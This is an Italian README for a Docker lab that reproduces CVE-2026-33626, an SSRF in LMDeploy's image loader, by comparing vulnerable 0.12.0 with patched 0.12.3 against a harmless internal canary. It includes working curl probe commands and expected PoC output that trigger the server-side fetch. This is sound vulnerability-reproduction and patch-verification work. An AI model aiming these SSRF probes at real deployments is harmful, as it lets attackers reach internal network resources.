
Questo repository riproduce CVE-2026-33626, una vulnerabilità di Server-Side Request Forgery (SSRF) nel percorso di caricamento delle immagini vision-language di LMDeploy.
Il comportamento vulnerabile si verifica quando LMDeploy riceve un URL di un'immagine e il caricatore di immagini lato server recupera tale URL senza bloccare correttamente gli indirizzi interni, privati, di loopback o link-local.
Questo laboratorio confronta:
| Servizio | Versione | Scopo |
|---|---|---|
vuln | LMDeploy 0.12.0 | Dimostra il comportamento vulnerabile |
patched | LMDeploy 0.12.3 | Dimostra il comportamento corretto (patched) |
internal | Servizio canary locale | Simula una risorsa solo interna all'interno della rete Docker |
Il laboratorio è progettato per essere eseguito localmente con Docker Compose e non contatta endpoint di metadata cloud o target esterni.
LMDeploy supporta flussi di lavoro vision-language in cui un'immagine può essere caricata da un URL fornito dall'utente. Nelle versioni vulnerabili, il codice di caricamento delle immagini può recuperare URL che risolvono a indirizzi di rete interni/privati.
Ciò può consentire a un attaccante con accesso all'endpoint LMDeploy di far sì che il server richieda risorse interne, come:
In questo laboratorio, il target interno è volutamente innocuo:
http://internal:9000/private.png
L'URL esiste solo all'interno della rete Docker Compose.
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
Il laboratorio non esegue un server di inferenza VLM completo. Isola invece la primitiva vulnerabile di caricamento immagini di LMDeploy chiamando:
from lmdeploy.vl import load_image
load_image(url)
Questo mantiene la riproduzione leggera e deterministica, dimostrando comunque il comportamento di sicurezza che è stato corretto.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
All'interno della rete Docker, il canary interno è raggiungibile come:
http://internal:9000/private.png
Su Apple Silicon, i servizi vuln e patched vengono eseguiti come linux/amd64 perché la wheel LMDeploy usata in questo laboratorio è orientata a x86_64.
Compila e avvia i servizi:
docker compose up -d --build
Controlla lo stato dei container:
docker compose ps
Stato previsto:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Output previsto:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Crea un ambiente virtuale e installa le dipendenze:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Esegui il PoC:
python poc/poc.py
Il target SSRF predefinito è:
http://internal:9000/private.png
Questo target è raggiungibile dai container Docker, non da Internet pubblico.
Il servizio vulnerabile dovrebbe recuperare con successo l'immagine canary interna:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
Questo conferma che LMDeploy 0.12.0 ha effettuato una richiesta lato server al servizio Docker interno.
Il servizio corretto dovrebbe bloccare lo stesso URL prima che il servizio interno venga raggiunto:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
Questo conferma che LMDeploy 0.12.3 blocca gli URL che risolvono a indirizzi IP non globali/interni.
Riepilogo finale previsto:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
Reimposta il canary interno:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Testa il servizio vulnerabile:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Previsto: /hits contiene una richiesta.
Testa il servizio corretto:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Previsto: /hits rimane vuoto.
Il PoC non richiede direttamente il servizio interno come attaccante.
Invece, il PoC invia un URL interno a LMDeploy. Se LMDeploy recupera quell'URL dall'interno della rete del container, il canary interno registra la richiesta.
Questo comportamento dimostra la primitiva SSRF:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
La versione corretta impedisce tutto ciò rifiutando gli URL che risolvono a indirizzi IP non globali.
docker compose down -v
GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Patch Commit: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Analisi Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
| Servizio | Host URL | Porta Container | Descrizione |
|---|
vuln | http://127.0.0.1:8081 | 8000 | Wrapper LMDeploy 0.12.0 |
patched | http://127.0.0.1:8082 | 8000 | Wrapper LMDeploy 0.12.3 |
internal | http://127.0.0.1:8090 | 9000 | Servizio canary interno |